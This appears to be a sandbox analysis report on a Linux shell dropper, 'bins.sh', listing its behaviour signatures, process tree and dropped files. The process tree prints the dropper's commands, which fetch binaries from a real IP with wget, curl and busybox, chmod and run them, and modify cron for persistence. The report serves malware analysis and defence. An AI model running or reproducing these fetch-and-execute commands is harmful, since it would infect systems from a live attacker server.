Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/11/2024, 00:56

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-back3swqc1
  • SHA256 bbb77661367bd4071740b3ca95c991f017dbfc6d49c9fad696dddd7cbedc237f
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2051) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:671
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:673
        • /usr/bin/wget
          wget http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:697
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • Writes file to tmp directory
          PID:703
        • /bin/chmod
          chmod 777 b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • File and Directory Permissions Modification
          PID:704
        • /tmp/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          ./b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
          • Executes dropped EXE
          PID:705
        • /bin/rm
          rm b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
            PID:707
          • /usr/bin/wget
            wget http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            2⤵
            • Writes file to tmp directory
            PID:708
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:713
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            2⤵
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 777 pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            2⤵
            • File and Directory Permissions Modification
            PID:727
          • /tmp/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            ./pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:729
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:731
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:732
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:734
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:735
                • /bin/rm
                  rm pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                  2⤵
                    PID:740
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                    2⤵
                      PID:744
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                      2⤵
                        PID:746
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                        2⤵
                        • Writes file to tmp directory
                        PID:748
                      • /bin/chmod
                        chmod 777 R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                        2⤵
                        • File and Directory Permissions Modification
                        PID:835
                      • /tmp/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                        ./R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                        2⤵
                        • Executes dropped EXE
                        PID:838
                      • /bin/rm
                        rm R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                        2⤵
                          PID:839
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                          2⤵
                            PID:841
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                            2⤵
                              PID:843
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                              2⤵
                              • Writes file to tmp directory
                              PID:848
                            • /bin/chmod
                              chmod 777 rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                              2⤵
                              • File and Directory Permissions Modification
                              PID:855
                            • /tmp/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                              ./rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                              2⤵
                              • Executes dropped EXE
                              PID:856
                            • /bin/rm
                              rm rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                              2⤵
                                PID:857
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/rCUQoU8oBiCcEg5qTgbyNfHBsEtY11Y9aK
                                2⤵
                                  PID:858

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                                    • Path /tmp/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
                                    • Path /tmp/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
                                    • Size 112KB
                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                                    • Path /tmp/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                                    • Path /tmp/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.flp9SK
                                    • Path /var/spool/cron/crontabs/tmp.flp9SK
                                    • Size 210B
                                    • SHA256 bcebf4bde2397cd86e2961cabdb90c2fa0a5485595caf14ca1ea16334e379a6b
                                    • MD5 SHA1 SHA512
                                    Submit Download